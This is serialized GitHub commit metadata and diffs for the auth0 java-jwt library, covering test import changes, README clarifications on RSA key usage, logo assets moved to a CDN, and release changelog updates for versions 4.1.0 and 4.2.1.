 u}(jo-  (fce6b26b7885920ad6b406b0576db329bdf007c7j-  @lib/src/test/java/com/auth0/jwt/impl/HeaderDeserializerTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FHeaderDeserializerTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X>  @@ -23,7 +23,7 @@
 import java.util.Map;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;u}(jo-  (430490a49df0b84fcbc7b77190e1dd9e74735b88j-  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  XN  @@ -27,7 +27,7 @@
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {u}(jo-  (8cca7b53bab444d9e50bf883b0db2210d1d32285j-  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X
  @@ -5,7 +5,7 @@
 
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.nullValue;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class NullClaimTest {
     private NullClaim claim;u}(jo-  (5d44216e352ea2939bc9b8a9f7ccdfd594ce921ej-  Alib/src/test/java/com/auth0/jwt/impl/PayloadDeserializerTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadDeserializerTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  X<  @@ -22,7 +22,7 @@
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.eq;
 import static org.mockito.Mockito.mock;u}(jo-  (d990978db257f3a6ffd6c27658d2e7f6cdcb4856j-  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj-  modifiedj-  Kj-  Kj-  Kj-  https://github.com/auth0/java-jwt/blob/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj-  https://github.com/auth0/java-jwt/raw/81534d0053e69f1517359f67b851c7d4997a7c9a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj-  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=81534d0053e69f1517359f67b851c7d4997a7c9aj-  @@ -12,7 +12,7 @@
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
-import static org.junit.Assert.assertThat;
+import static org.hamcrest.MatcherAssert.assertThat;
 
 public class PayloadSerializerTest {
 ueu(e62dd3a30480d401ab35c176ee99cd59f5023909}(sha(e62dd3a30480d401ab35c176ee99cd59f5023909node_idEC_kwDOAQtL0doAKGU2MmRkM2EzMDQ4MGQ0MDFhYjM1YzE3NmVlOTljZDU5ZjUwMjM5MDkcommit}(author}(name
Petr Dvořákemailpetr@wultra.comdate2022-03-18T11:43:27Zu	committer}(j|.  GitHubj~.  noreply@github.comj.  2022-03-18T11:43:27ZumessageFix auth0/java-jwt#554 (#555)tree}(jt.  (2e2d148e5d7bef4234edb096a326ab9ff6178fb4url^https://api.github.com/repos/auth0/java-jwt/git/trees/2e2d148e5d7bef4234edb096a326ab9ff6178fb4uj.  `https://api.github.com/repos/auth0/java-jwt/git/commits/e62dd3a30480d401ab35c176ee99cd59f5023909
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiNHBfCRBK7hj4Ov3rIwAAe4IIAJXTkGoLKkEUdEVyi3LWOu6M
/+6xosW/mIsQVNd3hJDRG1QMvbp/IFIICe28Q8SlXkhPppioeddUa07fy31TdLuh
HmrJg+OT+QdQ22ZWqaWp1ROvDawcF1C54thaEPKql98/NIb+d2ElpUl06+1p2BOs
HlXa9uHNnbSCpicLot1wplyQktwPHw71uFWFdwKJR/H5z+35KKnDAZfnBpHgCp7u
+v1+lkYUb63P9yJHTEesePywWPVlgApP9XeOlx9KcCzSNIrlpx+DCgvVnzTq5MeT
3JUo/7zjl1tlu8Oti/OREihYqR5zbtKThH5kQqTtvCJVzsSLR9VbxEMeMojRk9Y=
=TNwQ
-----END PGP SIGNATURE-----
payloadtree 2e2d148e5d7bef4234edb096a326ab9ff6178fb4
parent 1c3f553c0b46c62a4ba5ae76ea06127c5423ce5b
author Petr Dvořák <petr@wultra.com> 1647603807 +0100
committer GitHub <noreply@github.com> 1647603807 +0100

Fix auth0/java-jwt#554 (#555)

uuj.  \https://api.github.com/repos/auth0/java-jwt/commits/e62dd3a30480d401ab35c176ee99cd59f5023909html_urlQhttps://github.com/auth0/java-jwt/commit/e62dd3a30480d401ab35c176ee99cd59f5023909comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e62dd3a30480d401ab35c176ee99cd59f5023909/commentsjz.  }(login
petrdvorakidJ jv.  MDQ6VXNlcjUxNjU5Nw==
avatar_url2https://avatars.githubusercontent.com/u/516597?v=4gravatar_idh3j.  'https://api.github.com/users/petrdvorakj.  https://github.com/petrdvorak
followers_url1https://api.github.com/users/petrdvorak/followers
following_url>https://api.github.com/users/petrdvorak/following{/other_user}	gists_url7https://api.github.com/users/petrdvorak/gists{/gist_id}starred_url>https://api.github.com/users/petrdvorak/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/petrdvorak/subscriptionsorganizations_url,https://api.github.com/users/petrdvorak/orgs	repos_url-https://api.github.com/users/petrdvorak/repos
events_url8https://api.github.com/users/petrdvorak/events{/privacy}received_events_url7https://api.github.com/users/petrdvorak/received_eventstypeUser
site_adminuj.  }(j.  web-flowj.  J/jv.  MDQ6VXNlcjE5ODY0NDQ3j.  4https://avatars.githubusercontent.com/u/19864447?v=4j.  h3j.  %https://api.github.com/users/web-flowj.  https://github.com/web-flowj.  /https://api.github.com/users/web-flow/followersj.  <https://api.github.com/users/web-flow/following{/other_user}j.  5https://api.github.com/users/web-flow/gists{/gist_id}j.  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j.  3https://api.github.com/users/web-flow/subscriptionsj.  *https://api.github.com/users/web-flow/orgsj.  +https://api.github.com/users/web-flow/reposj.  6https://api.github.com/users/web-flow/events{/privacy}j.  5https://api.github.com/users/web-flow/received_eventsj.  Userj.  uparents]}(jt.  (1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bj.  \https://api.github.com/repos/auth0/java-jwt/commits/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5bj.  Qhttps://github.com/auth0/java-jwt/commit/1c3f553c0b46c62a4ba5ae76ea06127c5423ce5buastats}(totalK	additionsK	deletionsKufiles]}(jt.  (a26170d24af28409899f6ad6f1c55677dbc22b8ffilename	README.mdstatusmodifiedj.  Kj.  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/e62dd3a30480d401ab35c176ee99cd59f5023909/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/e62dd3a30480d401ab35c176ee99cd59f5023909/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=e62dd3a30480d401ab35c176ee99cd59f5023909patchX  @@ -137,10 +137,9 @@ You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. U
 * Example using `RS256`
 
     ```java
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
+    RSAPrivateKey privateKey = //Get the private key instance
     try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
+        Algorithm algorithm = Algorithm.RSA256(null, privateKey); // only the private key is used for signing
         String token = JWT.create()
             .withIssuer("auth0")
             .sign(algorithm);
@@ -176,9 +175,8 @@ You'll first need to create a `JWTVerifier` instance by calling `JWT.require()`
     ```java
     String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
     RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
     try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
+        Algorithm algorithm = Algorithm.RSA256(publicKey, null); // only the public key is used during verification
         JWTVerifier verifier = JWT.require(algorithm)
             .withIssuer("auth0")
             .build(); //Reusable verifier instanceuau(3e63d5a3c656bffcaea6c18616d95ae903781140}(sha(3e63d5a3c656bffcaea6c18616d95ae903781140node_idEC_kwDOAQtL0doAKDNlNjNkNWEzYzY1NmJmZmNhZWE2YzE4NjE2ZDk1YWU5MDM3ODExNDAcommit}(author}(nameJim Anderson     emailjimranderson@gmail.comdate2022-10-21T01:38:41Zu	committer}(j.  Jim Andersonj.  jimranderson@gmail.comj.  2022-10-21T01:38:41Zumessageuse cdn instead of local assetstree}(j.  (f6d1847899c4073b29e66ad11411bd43eeebc3bcurl^https://api.github.com/repos/auth0/java-jwt/git/trees/f6d1847899c4073b29e66ad11411bd43eeebc3bcuj/  `https://api.github.com/repos/auth0/java-jwt/git/commits/3e63d5a3c656bffcaea6c18616d95ae903781140
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj/  \https://api.github.com/repos/auth0/java-jwt/commits/3e63d5a3c656bffcaea6c18616d95ae903781140html_urlQhttps://github.com/auth0/java-jwt/commit/3e63d5a3c656bffcaea6c18616d95ae903781140comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/3e63d5a3c656bffcaea6c18616d95ae903781140/commentsj.  }(login
jimmyjamesidJ7 j.  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j/  'https://api.github.com/users/jimmyjamesj/  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj.  }(j/  
jimmyjamesj/  J7 j.  MDQ6VXNlcjI3NjIyNQ==j/  2https://avatars.githubusercontent.com/u/276225?v=4j/  h3j/  'https://api.github.com/users/jimmyjamesj/  https://github.com/jimmyjamesj/  1https://api.github.com/users/jimmyjames/followersj/  >https://api.github.com/users/jimmyjames/following{/other_user}j!/  7https://api.github.com/users/jimmyjames/gists{/gist_id}j#/  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j%/  5https://api.github.com/users/jimmyjames/subscriptionsj'/  ,https://api.github.com/users/jimmyjames/orgsj)/  -https://api.github.com/users/jimmyjames/reposj+/  8https://api.github.com/users/jimmyjames/events{/privacy}j-/  7https://api.github.com/users/jimmyjames/received_eventsj//  Userj1/  uparents]}(j.  (9529b36d5edc255af3cc7cf296dfd8af75ff67c0j/  \https://api.github.com/repos/auth0/java-jwt/commits/9529b36d5edc255af3cc7cf296dfd8af75ff67c0j/  Qhttps://github.com/auth0/java-jwt/commit/9529b36d5edc255af3cc7cf296dfd8af75ff67c0uastats}(totalK	additionsK	deletionsKufiles](}(j.  (b16dcdbf218378840ae75ba770b19b5758378cfffilename	README.mdstatusmodifiedjK/  KjL/  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/3e63d5a3c656bffcaea6c18616d95ae903781140/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/3e63d5a3c656bffcaea6c18616d95ae903781140/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=3e63d5a3c656bffcaea6c18616d95ae903781140patchX  @@ -124,8 +124,8 @@ Please do not report security vulnerabilities on the public Github issue tracker
 
 <p align="center">
   <picture>
-    <source media="(prefers-color-scheme: light)" srcset="./assets/auth0_light_mode.png"   width="150">
-    <source media="(prefers-color-scheme: dark)" srcset="./assets/auth0_dark_mode.png" width="150">
+    <source media="(prefers-color-scheme: light)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_light_mode.png"   width="150">
+    <source media="(prefers-color-scheme: dark)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_dark_mode.png" width="150">
     <img alt="Auth0 Logo" src="./auth0_light_mode.png" width="150">
   </picture>
 </p>u}(j.  (17d74687fb402749e4b106a600ba8b653b89edcfjQ/  assets/auth0_dark_mode.pngjS/  removedjK/  K jL/  K jU/  K jV/  lhttps://github.com/auth0/java-jwt/blob/9529b36d5edc255af3cc7cf296dfd8af75ff67c0/assets%2Fauth0_dark_mode.pngjX/  khttps://github.com/auth0/java-jwt/raw/9529b36d5edc255af3cc7cf296dfd8af75ff67c0/assets%2Fauth0_dark_mode.pngjZ/  ~https://api.github.com/repos/auth0/java-jwt/contents/assets%2Fauth0_dark_mode.png?ref=9529b36d5edc255af3cc7cf296dfd8af75ff67c0u}(j.  (334f7e523595d60561c8edb1d45cc1c4819184e8jQ/  assets/auth0_light_mode.pngjS/  removedjK/  K jL/  K jU/  K jV/  mhttps://github.com/auth0/java-jwt/blob/9529b36d5edc255af3cc7cf296dfd8af75ff67c0/assets%2Fauth0_light_mode.pngjX/  lhttps://github.com/auth0/java-jwt/raw/9529b36d5edc255af3cc7cf296dfd8af75ff67c0/assets%2Fauth0_light_mode.pngjZ/  https://api.github.com/repos/auth0/java-jwt/contents/assets%2Fauth0_light_mode.png?ref=9529b36d5edc255af3cc7cf296dfd8af75ff67c0ueu(d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18}(sha(d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18node_idEC_kwDOAQtL0doAKGQyYmY4ZDM1ZTk2ZWE4MjMzZjJhODBjYTZkNzM3MWFkNTRlNWJhMTgcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-06T18:47:56Zu	committer}(jv/  Jim Andersonjx/  jimranderson@gmail.comjz/  2022-10-06T19:01:24Zumessage
Release 4.1.0tree}(jn/  (7bb46c627baa5922fd705c6c8a7c995f8a7923c6url^https://api.github.com/repos/auth0/java-jwt/git/trees/7bb46c627baa5922fd705c6c8a7c995f8a7923c6uj/  `https://api.github.com/repos/auth0/java-jwt/git/commits/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj/  \https://api.github.com/repos/auth0/java-jwt/commits/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18html_urlQhttps://github.com/auth0/java-jwt/commit/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/commentsjt/  }(login
jimmyjamesidJ7 jp/  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j/  'https://api.github.com/users/jimmyjamesj/  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj|/  }(j/  
jimmyjamesj/  J7 jp/  MDQ6VXNlcjI3NjIyNQ==j/  2https://avatars.githubusercontent.com/u/276225?v=4j/  h3j/  'https://api.github.com/users/jimmyjamesj/  https://github.com/jimmyjamesj/  1https://api.github.com/users/jimmyjames/followersj/  >https://api.github.com/users/jimmyjames/following{/other_user}j/  7https://api.github.com/users/jimmyjames/gists{/gist_id}j/  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j/  5https://api.github.com/users/jimmyjames/subscriptionsj/  ,https://api.github.com/users/jimmyjames/orgsj/  -https://api.github.com/users/jimmyjames/reposj/  8https://api.github.com/users/jimmyjames/events{/privacy}j/  7https://api.github.com/users/jimmyjames/received_eventsj/  Userj/  uparents]}(jn/  (37c262de2e6709e93ee4bc0b927ec6e729621256j/  \https://api.github.com/repos/auth0/java-jwt/commits/37c262de2e6709e93ee4bc0b927ec6e729621256j/  Qhttps://github.com/auth0/java-jwt/commit/37c262de2e6709e93ee4bc0b927ec6e729621256uastats}(totalK	additionsK	deletionsKufiles](}(jn/  (04796fd76fbdf8e454f28ec430963aa334820caafilenameCHANGELOG.mdstatusmodifiedj/  Kj/  K changesKblob_url\https://github.com/auth0/java-jwt/blob/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18patchX  @@ -1,5 +1,26 @@
 # Change Log
 
+## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
+
+**⚠️ BREAKING CHANGES**
+- Make JWT constants final values [\#604](https://github.com/auth0/java-jwt/pull/604) ([poovamraj](https://github.com/poovamraj))
+
+**Added**
+- Add integration with our Shipping orb [\#612](https://github.com/auth0/java-jwt/pull/612) ([frederikprijck](https://github.com/frederikprijck))
+- Add Ship CLI support [\#609](https://github.com/auth0/java-jwt/pull/609) ([jimmyjames](https://github.com/jimmyjames))
+- Provide straightforward example for JWKS [\#600](https://github.com/auth0/java-jwt/pull/600) ([poovamraj](https://github.com/poovamraj))
+
+**Changed**
+- Update to gradle 6.9.2 [\#608](https://github.com/auth0/java-jwt/pull/608) ([jimmyjames](https://github.com/jimmyjames))
+- Update OSS plugin to latest [\#607](https://github.com/auth0/java-jwt/pull/607) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3466] Upgrade Codecov [\#595](https://github.com/auth0/java-jwt/pull/595) ([evansims](https://github.com/evansims))
+- Update README.md [\#590](https://github.com/auth0/java-jwt/pull/590) ([poovamraj](https://github.com/poovamraj))
+
+**Fixed**
+- Check for null token before splitting [\#606](https://github.com/auth0/java-jwt/pull/606) ([jimmyjames](https://github.com/jimmyjames))
+- [SDK-3816] Update docs for verification thread-safety [\#605](https://github.com/auth0/java-jwt/pull/605) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.0.0](https://github.com/auth0/java-jwt/tree/4.0.0) (2022-06-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...4.0.0)
 u}(jn/  (a4fa509e8d84c8c98a8f27fc4e677e657a4a0fb1j/  	README.mdj/  modifiedj/  Kj/  Kj/  Kj/  Yhttps://github.com/auth0/java-jwt/blob/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/README.mdj/  Xhttps://github.com/auth0/java-jwt/raw/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/README.mdj/  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18j/  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.0.0'
+implementation 'com.auth0:java-jwt:4.1.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.0.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.0.0</version>
+    <version>4.1.0</version>
 </dependency>
 ```
 u}(jn/  (8ec1b6308f69a7679a18466920fc460ad8244fa1j/  lib/build.gradlej/  modifiedj/  Kj/  Kj/  Kj/  bhttps://github.com/auth0/java-jwt/blob/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/lib%2Fbuild.gradlej/  ahttps://github.com/auth0/java-jwt/raw/d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18/lib%2Fbuild.gradlej/  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=d2bf8d35e96ea8233f2a80ca6d7371ad54e5ba18j/  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.0.0"
+    version = "4.1.0"
 }
 
 plugins {ueu(1e38286a52936d7ccdae3f457369389ad7474b7a}(sha(1e38286a52936d7ccdae3f457369389ad7474b7anode_idEC_kwDOAQtL0doAKDFlMzgyODZhNTI5MzZkN2NjZGFlM2Y0NTczNjkzODlhZDc0NzRiN2Ecommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-25T12:26:20Zu	committer}(j/  GitHubj/  noreply@github.comj/  2022-10-25T12:26:20ZumessageRelease 4.2.1 (#636)tree}(j/  (4a400a9b68c2c6902c8a276ed1804edefa57fdecurl^https://api.github.com/repos/auth0/java-jwt/git/trees/4a400a9b68c2c6902c8a276ed1804edefa57fdecuj0  `https://api.github.com/repos/auth0/java-jwt/git/commits/1e38286a52936d7ccdae3f457369389ad7474b7a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV9XsCRBK7hj4Ov3rIwAAh1MIAJ3Rc32w5OfL4Bt/CufxalqV
q4WF+gL9bYzEEIHXkuGsoWBC3jZwnoopSY5/5gd/koBoRsX6k6+xdYFJDmtpT7WA
XTk3PSs5hfiJVQzYggiCTjgH7mR+CoYVUTYPhlMz/zxzSWtiDkYZiL5nqWGUW7T6
Trwiuu1FRLYw6J/J67a7zQ6VcdM7qT2k/zlE5gVZMd4cD4NIvnXAzRBE0TxMKTjY
EGYa41wLz7t5X0GLzLK21ICLLMdNtYjVSQ9mf3JSqP3h9J5I2GqjvDolUAEmgjvc
uRgfHaSNpbHN9nDdCHjsDm/TlpdVcomdE8p+P8KlMrg5MnMuiE+APab8GT21CbY=
=SYDf
-----END PGP SIGNATURE-----
payloadtree 4a400a9b68c2c6902c8a276ed1804edefa57fdec
parent 4c2533dbd0bc1aa714ac7d0e291652cdaecdd265
author Jim Anderson <jim.anderson@auth0.com> 1666700780 -0500
committer GitHub <noreply@github.com> 1666700780 -0500

Release 4.2.1 (#636)

uuj0  \https://api.github.com/repos/auth0/java-jwt/commits/1e38286a52936d7ccdae3f457369389ad7474b7ahtml_urlQhttps://github.com/auth0/java-jwt/commit/1e38286a52936d7ccdae3f457369389ad7474b7acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1e38286a52936d7ccdae3f457369389ad7474b7a/commentsj/  }(login
jimmyjamesidJ7 j/  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j0  'https://api.github.com/users/jimmyjamesj0  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj0  }(j0  web-flowj 0  J/j/  MDQ6VXNlcjE5ODY0NDQ3j"0  4https://avatars.githubusercontent.com/u/19864447?v=4j$0  h3j0  %https://api.github.com/users/web-flowj0  https://github.com/web-flowj'0  /https://api.github.com/users/web-flow/followersj)0  <https://api.github.com/users/web-flow/following{/other_user}j+0  5https://api.github.com/users/web-flow/gists{/gist_id}j-0  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j/0  3https://api.github.com/users/web-flow/subscriptionsj10  *https://api.github.com/users/web-flow/orgsj30  +https://api.github.com/users/web-flow/reposj50  6https://api.github.com/users/web-flow/events{/privacy}j70  5https://api.github.com/users/web-flow/received_eventsj90  Userj;0  uparents]}(j/  (4c2533dbd0bc1aa714ac7d0e291652cdaecdd265j0  \https://api.github.com/repos/auth0/java-jwt/commits/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265j0  Qhttps://github.com/auth0/java-jwt/commit/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265uastats}(totalK
	additionsK
	deletionsKufiles](}(j/  (ed3706dc294ee25e8eb7f64328bff099ac3f864afilenameCHANGELOG.mdstatusmodifiedjU0  KjV0  K changesKblob_url\https://github.com/auth0/java-jwt/blob/1e38286a52936d7ccdae3f457369389ad7474b7a/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/1e38286a52936d7ccdae3f457369389ad7474b7a/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=1e38286a52936d7ccdae3f457369389ad7474b7apatchXq  @@ -1,5 +1,12 @@
 # Change Log
 
+## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
+
+**Security**
+- Use latest ship orb [\#634](https://github.com/auth0/java-jwt/pull/634) ([jimmyjames](https://github.com/jimmyjames))
+- Bump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 [\#630](https://github.com/auth0/java-jwt/pull/630) ([evansims](https://github.com/evansims))
+
 ## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
 u}(j/  (bfa4345de0bd2828c652b257b3646a8a238ecff7j[0  	README.mdj]0  modifiedjU0  KjV0  Kj_0  Kj`0  Yhttps://github.com/auth0/java-jwt/blob/1e38286a52936d7ccdae3f457369389ad7474b7a/README.mdjb0  Xhttps://github.com/auth0/java-jwt/raw/1e38286a52936d7ccdae3f457369389ad7474b7a/README.mdjd0  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=1e38286a52936d7ccdae3f457369389ad7474b7ajf0  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.0'
